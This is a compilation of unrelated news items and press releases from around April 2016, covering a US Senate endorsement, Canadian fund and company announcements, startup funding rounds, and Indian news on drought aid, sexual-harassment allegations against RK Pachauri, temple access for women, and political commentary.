Laura Wood, Senior Manager

press@researchandmarkets.com



For E.S.T Office Hours Call 1-917-300-0470

For U.S./CAN Toll Free Call 1-800-526-8630

For GMT Office Hours Call +353-1-416-8900



U.S. Fax: 646-607-1907

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WASHINGTON, DC--(Marketwired - April 22, 2016) - Ambassador John Bolton is proud to endorse U.S. Senate candidate Richard Douglas ahead of the April 26 th primary in Maryland. The John Bolton PAC will also make a campaign contribution. This announcement comes as part of a larger effort by Ambassador Bolton to ensure America elects officials who will vote for a strong national defense and keep America safe.

"It is our mission to build on the historic majority that the John Bolton PAC helped elect in both the House and the Senate in 2014, and it is of the utmost importance that we keep these majorities intact for our next Republican president," said Ambassador John Bolton. "Richard is the best candidate to represent my home state of Maryland in the U.S. Senate, and I know he is committed to national security policies that will secure America's interests at home and abroad."

The John Bolton PAC is committed to supporting candidates for the House and Senate who believe in restoring America's national security and protecting the United States' vital freedoms at home through securing U.S. interests in an increasingly dangerous world.

"I intend to return an unabashedly pro-American perspective to the U.S. Senate, in the tradition of great national leaders like Ambassador John Bolton," said Richard Douglas. "Beginning in January, I look forward to working with him to restore our nation's security and revive U.S. international leadership."

In 2014 the PAC was a major contributor in the midterm elections with 87 endorsements and PAC contributions.

About John Bolton PAC(www.boltonpac.com): The John Bolton PAC was founded by former U.S. Ambassador to the U.N. John R. Bolton to raise the importance of American national security in federal elections. The PAC will support and contribute to candidates who are committed to restoring strong American economic and national security policies that secure America's interests in a challenging world.

Garrett Marquis

gm@prismstrategygroup.com

(202) 709 8837
TORONTO, ONTARIO -- (Marketwired) -- 04/22/16 -- Investors and investment advisors are invited to listen to an update on Taylor North American Equity Opportunities Fund (the "Fund") (TSX: TOF.UN) by David Taylor of Taylor Asset Management. A link to the update recorded on April 21, 2016 has been posted to the Brompton Funds' website at www.bromptongroup.com. The Fund is available for purchase on the Toronto Stock Exchange under the ticker symbol TOF.UN.

Taylor Asset Management employs a value-driven investment strategy to construct a portfolio that seeks to balance long-term capital growth with capital preservation and will invest opportunistically in equity and equity related securities of issuers that they believe are fundamentally sound and are trading at a discount to their intrinsic value. The Fund currently has approximately 61% of the portfolio allocated to Canadian equities with the balance allocated to US equities. The portfolio can be biased to either country depending on which market David believes offers the most attractive valuations. In addition, the Fund may invest up to 25% of the portfolio in securities listed outside of North America in cases where the portfolio manager believes attractive opportunities exist or for purposes of diversification.

Since inception on June 19, 2012, through to March 31, 2016, TOF.UN has generated a return of 8.1% per annum(1) compared to the S&P/TSX Composite Index return of 7.3% per annum over the same time period. TOF.UN has paid cumulative cash distributions of $2.22 since inception, and has a current monthly distribution of $0.052 per unit, which equates to a market yield of 6.2%.

About Brompton Funds

Brompton Funds, a division of Brompton Group which was founded in 2000, is an experienced investment fund manager with approximately $2.0 billion in assets under management. Brompton's investment solutions include TSX listed closed-end funds, mutual funds, hedge funds and flow-through limited partnerships. For further information, please contact your investment advisor, call Brompton's investor relations line at 416-642-6000 (toll-free at 1-866-642-6001), email info@bromptongroup.com or visit our website at www.bromptongroup.com.

About Taylor Asset Management

David Taylor of Taylor Asset Management Inc. has been managing equities for 28 years and funds managed by David Taylor have won 15 Lipper Awards(2) in the past decade for short, mid and long-term performance.

(1) Please see www.bromptongroup.com for returns for all periods.

(2) For a detailed list of awards, please visit www.bromptongroup.com/funds/fund/tof/overview

You will usually pay brokerage fees to your dealer if you purchase or sell units of the investment fund on the Toronto Stock Exchange or other alternative Canadian trading system (an "exchange"). If the units are purchased or sold on an exchange, investors may pay more than the current net asset value when buying units of the investment fund and may receive less than the current net asset value when selling them.

There are ongoing fees and expenses associated with owning units of an investment fund. An investment fund must prepare disclosure documents that contain key information about the fund. You can find more detailed information about the Fund in the public filings available at www.sedar.com. The indicated rate of return is the historical annual compounded total return including changes in unit value and reinvestment of all distributions and does not take into account certain fees such as redemption costs or income taxes payable by any securityholder that would have reduced returns. Investment funds are not guaranteed, their values change frequently and past performance may not be repeated.

Certain statements contained in this news release constitute forward-looking information within the meaning of Canadian securities laws. Forward-looking information may relate to matters disclosed in this press release and to other matters identified in public filings relating to the Fund, to the future outlook of the Fund and anticipated events or results and may include statements regarding the future financial performance of the Fund. In some cases, forward-looking information can be identified by terms such as "may", "will", "should", "expect", "plan", "anticipate", "believe", "intend", "estimate", "predict", "potential", "continue" or other similar expressions concerning matters that are not historical facts. Actual results may vary from such forward-looking information. Investors should not place undue reliance on forward-looking statements. These forward-looking statements are made as of the date hereof and we assume no obligation to update or revise them to reflect new events or circumstances.

Contacts:

Brompton's Investor Relations

416-642-6000 (toll-free at 1-866-642-6001),

info@bromptongroup.com

www.bromptongroup.com




Toronto, Ontario--(Newsfile Corp. - April 22, 2016) - Data Deposit Box Inc. (CSE: DDB) (OTCQB: DDBXF) (FSE: 2DD) (the "Company"), a global provider of cloud backup and recovery technology, is pleased to announce that it has entered into a strategic agreement with O&O Software GmbH.

The partnership will combine O&O Software's bare metal technologies with Data Deposit Box's new Smart Storage Solution to offer an all-in-one business continuity solution for the SMB, SME and managed services partners globally. The new technology will be offered with the Data Deposit Box's Smart Storage 2TB, 4TB, 6TB and 10TB systems. This new solution will provide partners with the unique ability to use file based, API based, or bare-metal based technologies within a 4 bay system which will allow for complete, end to end backup and recovery within any SMB and SME. Data Deposit Box will offer the solution (with cloud storage) commencing May 4th, 2016.

Effective April 29th 2016, O&O Software GmbH's BMR technology will be available as an integrated feature of the Data Deposit Box cloud service offering, which is designed to safeguard critical data for small to midsize business and enterprise (SMB/SME) customers worldwide.

"Data Deposit Box has long offered the best SMB focused backup and recovery solution to partners globally. Now, with an integrated BMR function within our Smart Storage solution, Data Deposit Box offers the industry most complete end to end service." said Troy Cheeseman, President & COO, Data Deposit Box, Inc. "The ability for SMBs and SMEs to keep their businesses open after an unexpected system crash or data loss depends heavily on their ability to quickly and reliably restore critical data or an entire machine after the event. Aligning with O&O Software GmbH will give Data Deposit Box customers and partners a comprehensive integrated product that can be deployed agentlessly within any customer's office."

"Drawing upon their experience as a global cloud backup provider for more than 14 years, Data Deposit Box is uniquely positioned within the market and with the new integrated services they are able to meet the data protection needs of the SMB and SME businesses worldwide," said Olaf Kehrer, Managing Director and Co-Founder of O&O Software GmbH. "Their license free, feature rich cloud disaster readiness offerings are designed for easy adoption and implementation. Managed Service partners and providers alike will be able maximize their margin and reoccurring revenue streams by partnering with DDB. O&O Software GmbH is very pleased to play a role as a key technology partner."

"Offering a BMR solution (as a standalone software product or as a feature made available through our Smart Storage device) will open up new revenue streams for Data Deposit Box; something we are holistically focused on for the 2016 year" says Tim Jewell, CEO of Data Deposit Box. Data Deposit Box offers customers the ability to back up and recover a wide range of data types (Exchange, SQL, VMware, Hyper-V, and others) while simultaneously providing cloud, hybrid or local recovery points in a flexible, reliable service.

About O&O Software GmbH

O&O develops solutions for corporate customers that not only support them in their daily activities, but also help substantially reduce their costs. O&O's products for system optimization, data imaging, data recovery, secure data deletion and company-wide administration are pioneers in the Windows technology sector. Together with a worldwide network of partners, O&O supports corporations, companies, public authorities and private customers in over 140 countries, all from the headquarters in Berlin, Germany.

http://www.oo-software.com

About Data Deposit Box

Data Deposit Box, a pioneer of cloud backup and recovery technology, has set a new industry standard by providing the SMB market with the same level of security and protection that is available to large enterprises. Data Deposit Box patented backup technology, known for its Exabyte scalability, advanced data reduction capabilities and ease-of-use, has won prestigious industry awards and has been featured in many key industry publications.

Data Deposit Box technologies and solutions are currently used daily by over 200,000 customers, 1,000 resellers, 25 MSPs and private label partners for online backup and recovery, archiving, disaster readiness, secure file sharing and remote access.

Investor Inquiries

W. Clark Kent

Corporate Development

Telephone: 647-519-2646

Email: ckent@currentmca.com

This news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "would", "potential", "proposed" and other similar words, or statements that certain events or conditions "may" or "will" occur. These statements are only predictions. Forward-looking information is based on the opinions and estimates of management at the date the information is provided, and is subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking information. For a description of the risks and uncertainties facing the Company and its business and affairs, readers should refer to the Company's Management's Discussion and Analysis. The Company undertakes no obligation to update forward-looking information if circumstances or management's estimates or opinions should change, unless required by law. The reader is cautioned not to place undue reliance on forward-looking information.
TORONTO, ONTARIO -- (Marketwired) -- 04/22/16 -- Pinetree Capital Ltd. (TSX: PNP) announces the results of its special shareholder meeting held earlier today. At the meeting, shareholders approved the waiver of the application of the company's shareholder rights plan to the proposed acquisition of Pinetree common shares by 2507492 Ontario Ltd. and the 1-for-100 share consolidation, and confirmed the amendment to the company's general by-law to reduce the quorum for shareholder meetings to 10%.

Complete voting results of the meeting are available under the company's profile on sedar.com.

About Pinetree

Pinetree is a diversified investment and merchant banking firm focused on the small cap market, with early stage investments in resource, biotechnology and technology companies. Pinetree's shares are listed on the Toronto Stock Exchange under the symbol "PNP".

Contacts:

Investor Relations: Pinetree Capital Ltd.

Richard Patricio, LL.B.

Chief Executive Officer

416-941-9600

ir@pinetreecapital.com

www.pinetreecapital.com




LAKE ELSINORE, California, April 22, 2016 /PRNewswire/ --On April 15, 2016, family members Dr. Li Li, wife of Rongxiang Xu, and Kevin Xu, son of Rongxiang Xu and current President of National Rongxiang Xu Foundation, colleagues and friends of world-renowned Chinese Regenerative Life Scientist Dr. Rongxiang Xu, gathered at Lake Elsinore, California to commemorate the first anniversary of Rongxiang Xu's passing and attend the groundbreaking ceremony for the Rongxiang Xu Memorial Center, a major program of the National Rongxiang Xu Foundation.

Photo - http://photos.prnewswire.com/prnh/20160422/358989

Dr. Xu was the foremost scientific researcher and proponent of Human Body Regenerative Restoration Science. Among those paying their respects to the memory of Dr. Xu were California state and local government dignitaries and representatives of the University of Southern California Davis School of Gerontology and California State University at Los Angeles. In addition, U.S. President Barack Obama sent a commemorative painting to acknowledge Dr. Xu's scientific and humanitarian contributions.

Last year, upon being advised of Dr. Xu's passing, US President Barack Obama sent a handwritten condolence letter, by express mail, to the burial ceremony. Moreover, letters of condolence were sent by former President Bill Clinton, Debbie Wasserman-Schultz, Chairman of Democratic Party, California Governor Jerry Brown, County of Los Angeles and City of Lake Elsinore officials. The Los Angeles County Board of Supervisors adjourned their meeting to pay tribute and reverence.

One year later, April 14, 2016, the site dedication ceremony of the Rongxiang Xu Memorial Center was held in the city of Lake Elsinore. U.S. Congressional representative Ted W. Lieu, on behalf of the U.S. Congress, awarded the Certificate of Congressional Recognition to the National Rongxiang Xu Foundation. It recognized their continuing contributions and humanitarian efforts in providing care, healing and the application of Human Body Regenerative Restoration Science to people around the world.

For carrying forward Dr. Xu's legacy recognized by both the US and China, in September of 2015, Kevin Xu attended the Third Governors Forum held during the state visit of Chinese President Xi Jinping to the US in Seattle, WA; Kevin Xu attended the 10th annual conference of CGI and launched the first Chinese medical technology commitment to train doctors on Moist Exposed Burn Therapy (MEBT); The Rongxiang Xu Center for Regenerative Life Science at USC Davis School of Gerontology and the Los Angeles County Department of Health signed the Memorandum of Understanding on MEBT training in the US; In February of 2016, Kevin Xu met with Xiaolin Li, President of the Chinese People's Association for Friendship with Foreign Countries (CPAFFC) and reached an agreement to partner with the China Partnership Network of UN program "Every Woman, Every Child" led by CPAFFC, contributing to improving the health conditions of Chinese and international woman and children.

www.rxxf.org
HONG KONG, CHINA -- (Marketwired) -- 04/22/16 -- Seaspan Corporation ("Seaspan") (NYSE: SSW) plans to release its financial results for the quarter ended March 31, 2016 on Monday April 25, 2016 after market close. Seaspan plans to host a conference call for all shareholders and interested parties at 9:30 a.m. Eastern Time (ET) on Tuesday April 26, 2016 to discuss the results.

Conference Call and Webcast Information: Date of Conference Call: Tuesday, April 26, 2016 Scheduled Time: 9:30 a.m. ET / 8:30 a.m. CT / 7:30 a.m. MT / 6:30 a.m. PT Participant Toll Free Dial In #: 1-877-246-9875 International Dial In #: 1-707-287-9353

To access the live webcast of the conference call, go to www.seaspancorp.com and click on "News & Events" then "Events & Presentations" for the link. The webcast will be archived on the site for one year.

A replay of the conference call will also be available from 12:30 p.m. ET on April 26, 2016 through to 11:59 p.m. ET on May 10, 2016. The replay telephone numbers are: 1-855-859-2056 or 1-404-537-3406 and the replay passcode is: 92700541.

About Seaspan

Seaspan provides many of the world's major shipping lines with creative outsourcing alternatives to vessel ownership by offering long-term leases on large, modern containerships combined with industry leading ship management services. Seaspan's managed fleet consists of 118 containerships representing a total capacity of over 935,000 TEU, including 17 newbuilding containerships on order scheduled for delivery to Seaspan and third parties by the end of 2017. Seaspan's current operating fleet of 86 vessels has an average age of approximately six years and average remaining lease period of approximately five years, on a TEU weighted basis.

Seaspan has the following securities listed on The New York Stock Exchange:

Symbol: Description: SSW Class A common shares SSW PR C Series C preferred shares SSW PR D Series D preferred shares SSW PR E Series E preferred shares SSWN 6.375% senior unsecured notes due 2019

Contacts:

Seaspan Corporation - Investor Relations Inquiries:

Mr. Michael Sieffert

Associate Director, Corporate Finance

778-328-6490

www.seaspancorp.com



The IGB Group - Media Inquiries:

Mr. Leon Berman

212-477-8438




ChartSpan Medical Technologies, Inc., a Greenville, SC-based healthcare technology company, raised $3.2m venture capital funding round.

Backers included a Texas based syndicate of investors.

The company intends to use the funds to support the growth of operations and the hiring of more than 300 clinical and technology staff in the next 12 months.

Led by CEO, Jon-Michial Carter, ChartSpan is a healthcare technology company specializing in patient engagement technology and medical managed services. Its platform enables patients to manage their healthcare records and information, from any doctor. Utilizing a smartphone, tablet or computer, they can request, receive, send and manage any type of healthcare record. Providers use a patient engagement platform to engage their patient populations, ensure compliance, and increase top line revenue through ChartSpans chronic care management services.

The company added a new chronic care management module to its patient engagement product suite in March and signed more than $9m in provider-based customer contracts in less than 45 days.

The company, a graduate of the the Iron Yards Healthcare Accelerator Program, has raised $6m in venture funding during the past three years.

FinSMEs

22/04/2016
Medium, a San Francisco, CA-based social publishing platform dedicated to ideas and stories, raised $50M in Series C financing.

The round was led by Spark Capital with participation from Andreessen Horowitz and GV (formerly Google Ventures), and Ev Williams, CEO of Medium. In conjunction with the funding, Ben Horowitz and Judy Estrin will be joining the board while David Sze from Greylock will be stepping down.

The company intends to use the funds to continue tom develop the platform and expand operations (it is hiring).

Founded by Ev Williams (the man behind Blogger and Twitter), Medium is a publishing platform which aims to connect thinkers across stories and ideas and allows readers to discover content based on what others are reading, recommending, and responding to.

FinSMEs

22/04/2016
SoftPay Mobile International, a Singapore-based mobile Point of Sale (mPOS) company, acquired Vietnam MPOS Technology JSC, a mPOS company operating in Vietnam.

The amount of the deal was not disclosed.

Under the terms of the deal, SoftPay Mobile will become a majority shareholder of Vietnam MPOS Technology JSC, whose customers include e-commerce group Lazada Vietnam, taxi group Mai Linh Taxi Group, as well as insurance companies.

Launched in late 2014 and led by Christopher Low, CEO, SoftPay Mobile is a venture-backed mPOS company with a presence in Vietnam, Malaysia, Singapore and Indonesia.

Investors include Singapore-based fintech fund Life.SREDA.

FinSMEs

21/04/2016
New Delhi: The Centre on Friday approved assistance of Rs 842.7 crore for Karnataka, Puducherry and Arunachal Pradesh, which have been affected by drought or floods.

The decision to provide assistance was taken by a high-level committee meeting chaired by Home Minister Rajnath Singh, an official spokesperson said.

The committee examined the proposals based on the report of the Central team which visited Karnataka, affected by drought, and Puducherry and Arunachal Pradesh, which have been hit by floods.

An amount to the tune of Rs 723.23 crore was approved to Karnataka, Rs 35.14 crore was approved for Puducherry and Rs 84.33 crore for Arunachal Pradesh.

The Central assistance of Rs 84.33 crore to Arunachal Pradesh includes Rs 18 crore under National Rural Drinking Water Programme (NRDWP).

The meeting was attended by Finance Minister Arun Jaitley, Agriculture Minister Radha Mohan Singh, Union Home Secretary Rajiv Mehrishi and senior officers of the ministries of Home, Finance and Agriculture.

In total, 10 states, including Maharashtra and Karnataka, have declared drought in their parts. More than Rs 10,000 crore central assistance has been given to these states to tide over the situation.

While Puducherry was hit by floods due to heavy rains in December 2015, Arunachal Pradesh too was affected by floods last year.

PTI
Chandigarh: Aiming to achieve a target of 950 plus sex ratio at birth (SRB) by the end of the year, Haryana Chief Minister Manohar Lal Khattar has sought "coordinated efforts" among neighbouring states to check female foeticide.

He wrote letters on Friday to the chief ministers of Punjab, Rajasthan, Delhi and Uttar Pradesh and has also attached a brief note and a presentation for their perusal.

"I am confident that concerted and coordinated efforts of state governments will help in saving thousands of girls," he wrote.

"Deep desire for male child in the society coupled with complex nexus of unscrupulous elements involved in sex determination and female feticide resulted in skewed sex ratio in the state," the letter said.

He explained the strategy adopted in Haryana to check the female foeticide.

Pre-Conception and Pre-Natal Diagnostic Techniques (PNDT) Act and the Medical Termination of Pregnancy (MTP) Act were rigorously implemented in Harayana with the coordinated efforts of all wings of government -- police, health, food and drugs administration, prosecution, ably led by deputy commissioners in all the districts, the CM said.

He also urged them to direct their authorities concerned to take strong steps in coordination with authorities in Haryana, which would surely lead to improved sex ratio in all the neighbouring states.

Khattar said Haryana had lowest child sex ratio in the country as per census 2011, but now that has crossed the benchmark SRB of 900 for the first time in December 2015. This, he said, could be made possible "due to strenuous efforts put in by all deputy commissioners since the launch of 'Beti Bachao-Beti Padhao' campaign by Prime Minister Narendra Modi from Panipat on January 22, 2015."

He further said in his communication that a massive crackdown was launched to take action against elements selling sex selection drugs and MTP kits, which were freely available earlier.
New Delhi: The Centre on Friday approved assistance of Rs 842.7 crore for Karnataka, Puducherry and Arunachal Pradesh, which have been affected by drought or floods.

The decision to provide assistance was taken by a high-level committee meeting chaired by Home Minister Rajnath Singh, an official spokesperson said.

The committee examined the proposals based on the report of the central team which visited Karnataka, affected by drought, and Puducherry and Arunachal Pradesh, which have been hit by floods.

An amount to the tune of Rs 723.23 crore was approved to Karnataka, Rs 35.14 crore was approved for Puducherry and Rs 84.33 crore for Arunachal Pradesh.

The central assistance of Rs 84.33 crore to Arunachal Pradesh, includes Rs 18 crore under National Rural Drinking Water Programme (NRDWP). The meeting was attended by Finance Minister Arun Jaitley, Agriculture Minister Radha Mohan Singh, Union Home Secretary Rajiv Mehrishi and senior officers of the ministries of Home, Finance and Agriculture.

In total, 10 states, including Maharashtra and Karnataka, have declared drought in their parts. More than Rs 10,000 crore central assistance has been given to these states to tide over the situation.

While Puducherry was hit by floods due to heavy rains in December 2015, Arunachal Pradesh too was affected by floods last year.
The governing council of The Energy and Resources Institute (TERI) in a meeting on Monday decided to terminate three-decade long association with its Director-General RK Pachauri, who has been embroiled in three cases of sexual harassment, with immediate effect.

It was also decided, during the meeting, that the 75-year-old's membership for the council will not be renewed. Pachauri's membership ended on 31 March this year.

The Council, in the meeting, decided to pay all the dues for the remainder of the tenure and bring an immediate end to it.

"His contract with the organisation was to end next July but the Council has decided to end it and honour it by paying the remainder of the tenure to him," said a Governing Council member requesting anonymity on speaking to The Economic Times.

Because of non-renewal of his membership, Pachauri will not be Executive Vice-Chairman of the organization, which he was appointed as on 8 February 2016.

TERI's spokesperson in an email told The Hindu that ...Dr. Pachauris term as a Member of the Governing Council of TERI ended on 31 March, 2016. As the post of Executive Vice Chairman (EVC) is co-terminus with this membership, his role as EVC also ended along with his membership of the Council.

Pachauri, however, maintained that his term as a member of The Energy and Resources Institute's (TERI) Governing Council ended on 31 March, 2016 and he felt it was time "for me to move away and get engaged in other interests which I have harboured over the past few years for activities at the global level".

In a statement, Pachauri said he was issuing it "to provide the media with information" about his "stepping down" from TERI's Governing Council, suggesting the decision to call time on his association with the organisation was voluntary.

In his statement, Pachauri said the TERI staff was its "greatest treasure" which under the new Director General will take the Institute to much greater heights in the years ahead.

"I have had the good fortune of leading TERI for three decades and a half and have received the priceless

contribution from thousands of colleagues over the years in building up this Institute to level of an outstanding organisation.

Pachauri said he had "greatly" benefited from the support the green body had "always" provided.

"I have also benefited greatly from the support I have always received from TERI's Governing Council, and would like to place on record my gratitude to them, beginning with the late Darbari Seth, my inspiration and leader in the initial years of TERI's development," he said.

Pachauri, who headed TERI, stepped down as chairperson of the UN Intergovernmental Panel on Climate Change in February 2015.

He began his career at TERI in 1986 and rose to the position of dean, Energy and Environment Engineering, from 1995 to 2000.

Initial complaint against Pachauri

In 2015, a 29-year -old former research analyst of TERI lodged the complaint against Pachauri for sexual harrasment.

The victim in her statement before a magistrate said that she repeatedly told Pachauri that she had no feelings for him, but Pachauri kept sharing the poems, expressing his feelings using words like "love sequestered".

On 1 March 2016, the charge sheet was filed with the Delhi police saying that there was sufficient evidence against the TERI executive.

It also said that the probe in the case was complete and the accused may be called through notice and put on trial for his "criminal act".

Delhi Police in its chargesheet said that Pachauri had remained "engaged in sexually-laden conversations" with the victim citing various telephone calls, e-mails, and WhatsApp messages exchanged between the two. This happened despite several messages by the victim that she could not reciprocate his feeling.

In the chargesheet, it was mentioned that Pachauri had written six poems where he attributed the victim as a "classical Indian beauty".

The victim had exchanged several messages with him acknowledging what he was writing, but always cautioning him not to assume that she too reciprocated his feelings.

In November, the woman researcher who accused him of sexual harassment quit her job at TERI, alleging that she was treated badly.

How the case progressed

Days after RK Pachauri was appointed the executive vice chairman of The Energy and Resources Institute, another former TERI worker came forward with the allegation that the former TERI director general sexually harassed her while she was working at the institute.

"Mr RK Pachauri would use the excuse of work assignments to repeatedly call me to his office room, even though there was no real work that he needed to discuss. This made me feel very uncomfortable and I used to try to dodge some meetings or ask my colleagues to go for the meetings," the compliant read.

The complainant, the second to make this allegation, joined TERI in 2003 and worked for a year.

On 31 March, a third woman was levelled sexual harassment allegations against TERI executive RK Pachauri through an open letter on Thursday.

The letter was accessed from her lawyers Vrinda Grover and Ratna Appender who told IANS that the (third) woman approached lawyers with her complaint in February 2015.

"He would call me during non-working hours and holidays to ask me to come to his office and when arriving it became evident that he had no specific task for me. Pachauri would indulge in frivolous talk and try to get close to me," she said.

The complainant also alleged of his various advances towards her such as asking her "to join him at his summer house outside of the city for the weekend."

TERI's statement in February

On 12 February, TERI issued a statement to announce that Pachauri will be on leave from TERI, its governing council and university till the case was reviewed by the council.

Ashok Chawla, former Competition Commission of India chief was nominated to take over Pachauri's post.

The statement also said, "The governing council of TERI supports the rights of women and has consistently ensured the provision of a secure environment and a safe workplace for its employees," the statement said.

The first complainant who accused TERI executive vice chairman RK Pachauri of sexual harassment took offence to the organisation's statement, saying that it did not address the harassment case.

"It is really sad they speak through press releases after such a massive public outrage. The release does not make my allegations or the case the focus, but is discussing TERI operations," the complainant had told IANS.

with inputs from Agencies
New Delhi: With the three-decade long association of environmentalist RK Pachauri having come to an end with The Energy and Resources Institute (TERI), should its ex-director general be given further employment in any other organisation?

Considering the serious allegations of sexual harassment against Pachauri, women activists and environmentalists strongly feel that he shouldnt get further employment in any organisation.

The governing council of TERI in a recently held meeting reportedly decided to terminate the three-decade long association with Pachauri, who has been embroiled in three cases of sexual harassment, with immediate effect.

It was also decided, during the meeting, that the Pachauris membership for the council would not be renewed. Pachauri's membership ended on 31 March this year.

Dr Ranjana Kumari, director, Centre for Social Research, an advocacy group for women said, Given his personal conduct which is so bad and the way he misused his position and power in an organisation to exploit women, we appeal that RK Pachauris applications should not be considered for further employment by any organisation.

The case against Pachauri should be dealt in a fast-track court, as its very difficult for the women victim to drag the case for years. Sexual harassment is the single most under-reported crime in most societies. It should be settled at the earliest possible or it becomes a mental torture for the victims, she added.

The three cases of allegations of sexual harassment:

In 2015, a former research analyst of TERI in Delhi lodged the complaint against Pachauri for sexual harrasment.

The victim in her statement before a magistrate said that she repeatedly told Pachauri that she had no feelings for him, but Pachauri kept sharing the poems, expressing his feelings using words like "love sequestered".

On 1 March, a charge sheet was filed with the Delhi police. The Delhi Police in its chargesheet said that Pachauri had remained "engaged in sexually-laden conversations" with the victim citing various telephone calls, e-mails, and WhatsApp messages exchanged between the two. This happened despite several messages by the victim that she could not reciprocate his feeling.

The woman researcher who accused him of sexual harassment quit her job at TERI, alleging that she was treated badly.

After Pachauri was appointed as the executive vice chairman of TERI, another former TERI employee, who had joined the organisation in 2003 and worked for a year, came forward with the allegation that the former TERI director general had sexually harassed her while she was working at the institute. This was the second allegation against Pachauri.

The third case of sexual harassment came up on 31 March, when another woman levelled sexual harassment allegations against Pachauri through an open letter.

Legal activist and Supreme Court lawyer, Harvinder Chowdhury said, The allegations against Pachauri needs to verified and veracity of the offence has to be checked, and once its established that he was involved in sexual harassment, judgment needs to be pronounced at the earliest. Instead of dragging it, the case needs to be settled at the earliest or else itll become traumatic more the victims. If Pachauri is proved guilty by the law, he should be punished, whether its in terms of imprisonment or barring him from joining any new organisation.

According to The Economic Times report, His (Pachauri) contract with the organisation was to end next July but the Council has decided to end it and honour it by paying the remainder of the tenure to him.

Because of non-renewal of his membership, Pachauri will not be Executive Vice-Chairman of the organization, which he was appointed as on 8 February, 2016.

The Hindu in its report has quoted TERI spokesperson saying, Mr Pachauris term as a Member of the Governing Council of TERI ended on March 31, 2016. As the post of Executive Vice Chairman (EVC) is co-terminus with this membership, his role as EVC also ended along with his membership of the council.

Environmentalist Manoj Mishra remarked, Pachauri has brought bad name to this profession as an environmentalist. There are three cases of sexual harassment against him and if allegations are proved, hell face imprisonment. Theres no question of any further employment. Its so unfortunate that the time the organisation (IPCC) got the Nobel Peace Prize, he was heading it.

Pachauri was the chairman of the Intergovernmental Panel on Climate Change (IPCC) from 2002 until his resignation in 2015, during which the organisation was awarded the Nobel Peace Prize. He resigned from IPCC, when the first allegation of sexual harassment was levelled against him by a junior colleague at the New Delhi branch of TERI.
Nashik: Gender rights activist Trupti Desai on Friday visited the Trimbakeshwar temple and offered prayers inside the sanctum sanctorum of the popular Lord Shiva shrine here which houses one of the 12 'jyotirlingas'.

Desai, along with three of her colleagues took darshan of the 'shivlinga' in the 'garbha gruha' around 6 am and left after nearly 15 minutes, said H P Kolhe, in charge of Trimbakeshwar police station.

The Bhumata Ranragini Brigade chief along with her aides followed the dress code, wet cotton or silk sarees, as decided by Trimbakeshwar Devasthan Trust and stood in the queue with other devotees before entering the core worship area, he said.

Later, they left the temple town in a vehicle. Interacting with newspersons outside the temple after the 'darshan', Desai said their struggle for gaining entry into Shani Shingnapur in Ahmednagar and now at Trimbakeshwar temple has succeeded.

Desai vowed to take forward the struggle for entry of women into worship places across the country.

On Thursday, four activists, led by Vanita Gutte of Pune-based Swarajya Mahila Sanghatana, offered prayers inside the sacred sanctum amid police protection.

Recently, the Trimbakeshwar Devasthan Trust decided to allow women into the temple's 'garbha griha' for an hour everyday with a rider that they must wear wet cotton or silk clothes while offering prayers in the core area.

The development is significant as it came days after women were permitted entry to the Shani Shingnapur temple in Ahmednagar district of Maharashtra.

The issue of gender bias hogged national limelight in January when hundreds of women activists attempted to storm into the Shani Shingnapur temple. After months of protests, and the Bombay High Court observing that entering a temple was a fundamental right of every person, the Shingnapur temple trust finally decided to allow women's entry on to the sacred platform (chauthara)  on which rock idol of Lord Shani is placed  on 8 April.

The decision opened doors for women to contest similar bans at other temples.
Foam, Wine and Everything Fine: No better way to start university This is not your average freshers party. People at the St. Andrews University of Scotland have their own way to greet new students and it involves shaving foam and wine
One cannot blame the BJP for not being over-enthusiastic, at times to the point of being irrational. They promised a Congress-mukt India and they are out to ensure it with all seriousness. So it wont matter much to the party if the High Court finds the imposition of President's Rule in Uttarakhand a clear case of high-handedness and gross violation of principles guiding centre-state relations.

Going by the reaction to the High Courts scathing remark from some of the leaders its now clear that it would defend its decision come what may even if it means falling foul of the judiciary and public opinion at large. There wont be any admission of guilt or indiscretion. The guidelines spelt out in the Bommai judgement of 1994 can wait.

Throwing out governments in states would be politics as usual two-and-a-half decades ago. Back then the Congress did it with certain disdain for constitutional norms. But the BJP going back to the same practice now at a cost to its image defies logic. What could it mean? Of course, hubris is one aspect of it but it does not explain fully the party going after the Congress governments in such a hurry.

Congress-mukt Bharat is good as electoral rhetoric but if the BJP sees the Congress government-mukt Bharat as the first step towards it then theres something odd in its calculation. It assesses that the Congress is at its weakest at this point. In many states where regional parties have gained ascendance it has little hope of regaining its lost base. Its traditional constituencies have abandoned the party for other alternatives. In states where it is in direct contest with the BJP, it has some hope of revival. But there too its caught in debilitating factional fights and leadership issues.

The Gandhi family has ceased to be vote magnets for the Congress and its only role now is playing glue to an unwieldy party with little sense of purpose. The party lacks a clear vision or roadmap for the future and of course, Rahul Gandhi is yet to be taken seriously as a leader with some heft. His immediate competitors Narendra Modi, Nitish Kumar and even Arvind Kejriwal far outweigh him in this respect. The partys vote share has gone down to 19 percent. If the BJP feels it is the opportune time to finish off the party and emerge as the new Congress in national polity, the idea is not a bad one. Any political will try to do the same.

However, going about it by targeting Congress governments does not look to be a bright move. To begin with, falling of governments does not necessarily mean end of parties heading them. Such action will give a listless Congress to don the aura of victimhood and gain public sympathy. Second, it hurts the credibility of the perceived wrong-doer, the BJP in this case, and brings avoidable embarrassment to it. Third, such action offers reason for other parties, with or without perceived threat to their governments, to rally together. Four, it shifts focus away from all good acts of the government and towards the negatives.

The exercise, if at all theres a conscious one, to finish off the Congress is a fool-hardy one. The best way to achieve it is perhaps let the Congress be. When its doing a good enough job of destroying itself why intervene? Then of course, the BJP must be mature enough to realise that theres no dead end in politics. Parties retain the strength to strike back even when they are out of power. Its time it tempered its over-enthusiasm. Irrational action only ends up bringing grief.
Bally (WB): Chief Minister Mamata Banerjee on Friday attacked the Opposition CPM, accusing it of leaving a "huge debt burden" on the ruling Trinamool Congress dispensation and claimed it would have "auctioned" the state if it were "in her place".

"CPM had left a debt burden of two lakh crore rupees when we came to power. Inspite of it Bengal has turned around during our rule. CPM would have auctioned Bengal if they were in my place," she told an election meeting.

"Mother of thieves shout the most," she remarked for criticising her.

Launching a scathing attack on the opposition for unleashing sharp "criticism" against her, the TMC supremo said "Many leaders are saying many things against me but I never made any personal attack against anybody. It doesn't look nice for a human being to bite a dog," she said.

